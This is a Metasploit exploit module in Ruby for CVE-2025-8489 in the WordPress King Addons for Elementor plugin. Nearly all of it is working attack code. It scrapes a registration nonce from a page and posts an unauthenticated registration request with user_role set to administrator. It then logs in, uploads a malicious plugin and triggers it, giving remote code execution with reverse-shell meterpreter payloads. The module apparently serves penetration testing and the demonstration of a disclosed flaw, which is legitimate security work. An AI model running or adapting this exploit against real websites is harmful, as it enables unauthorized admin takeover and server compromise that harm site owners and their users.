## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE', 'Description' => %q{ This module exploits an unauthenticated privilege escalation vulnerability in the WordPress King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists in the handle_register_ajax() function which allows unauthenticated attackers to specify the user_role parameter during registration, enabling them to create administrator accounts. This exploit requires a WordPress page containing the King Addons "Login Register Form" Elementor widget, which exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option must be set to the path of such a page. Once an administrator account is created, the module uploads and executes a malicious plugin to achieve remote code execution (RCE). }, 'Author' => [ 'Peter Thaleikis', # Vulnerability discovery 'Valentin Lobstein ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-8489'], ['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/'] ], 'Platform' => %w[php unix linux win], 'Arch' => [ARCH_PHP, ARCH_CMD], 'DisclosureDate' => '2025-10-30', 'DefaultTarget' => 0, 'Privileged' => false, 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']), OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]), OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]), OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email]) ] ) end def check return CheckCode::Unknown unless wordpress_and_online? plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92') return plugin_check if plugin_check == CheckCode::Safe @nonce = find_nonce return CheckCode::Detected('Could not find nonce on specified page') unless @nonce CheckCode::Appears end def exploit fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL']) admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) unless admin_cookie msg = 'Failed to log in to WordPress admin.' msg += ' User may exist with a different password.' if user_existed fail_with(Failure::UnexpectedReply, msg) end upload_and_execute_payload(admin_cookie) end private def find_nonce nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE']) res = send_request_cgi('method' => 'GET', 'uri' => nonce_page) return nil unless res&.code == 200 doc = res.get_html_document return nil unless doc script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]') script_nodes.each do |script_node| nonce = extract_nonce_from_script(script_node.text) return nonce if nonce end vprint_warning('Could not find nonce') nil end def extract_nonce_from_script(script_content) match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/) return nil unless match json_data = begin JSON.parse(match[1].gsub('\/', '/')) rescue StandardError nil end return nil unless json_data.is_a?(Hash) nonce = json_data['register_nonce'] return nil unless nonce.is_a?(String) && !nonce.empty? vprint_status("Found nonce: #{nonce}") nonce end def send_registration_request(username:, email:, password:, user_role: 'administrator') @nonce ||= find_nonce fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_admin_ajax, 'vars_post' => { 'action' => 'king_addons_user_register', 'nonce' => @nonce, 'username' => username, 'email' => email, 'password' => password, 'confirm_password' => password, 'user_role' => user_role, 'terms_required' => 'no' } ) end def create_admin_user(username, password, email) res = send_registration_request(username: username, email: email, password: password) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') end json = res.get_json_document unless json.is_a?(Hash) fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') end if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i) print_warning('User or email already exists, attempting login with provided credentials...') return true end if json['success'] == true return false end fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}") end def upload_and_execute_payload(admin_cookie) plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}" zip = generate_plugin(plugin_name, payload_name) fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie) register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php") register_dir_for_cleanup("../#{plugin_name}") payload_file = "#{payload_name}.php" payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file) send_request_cgi('uri' => payload_uri, 'method' => 'GET') end end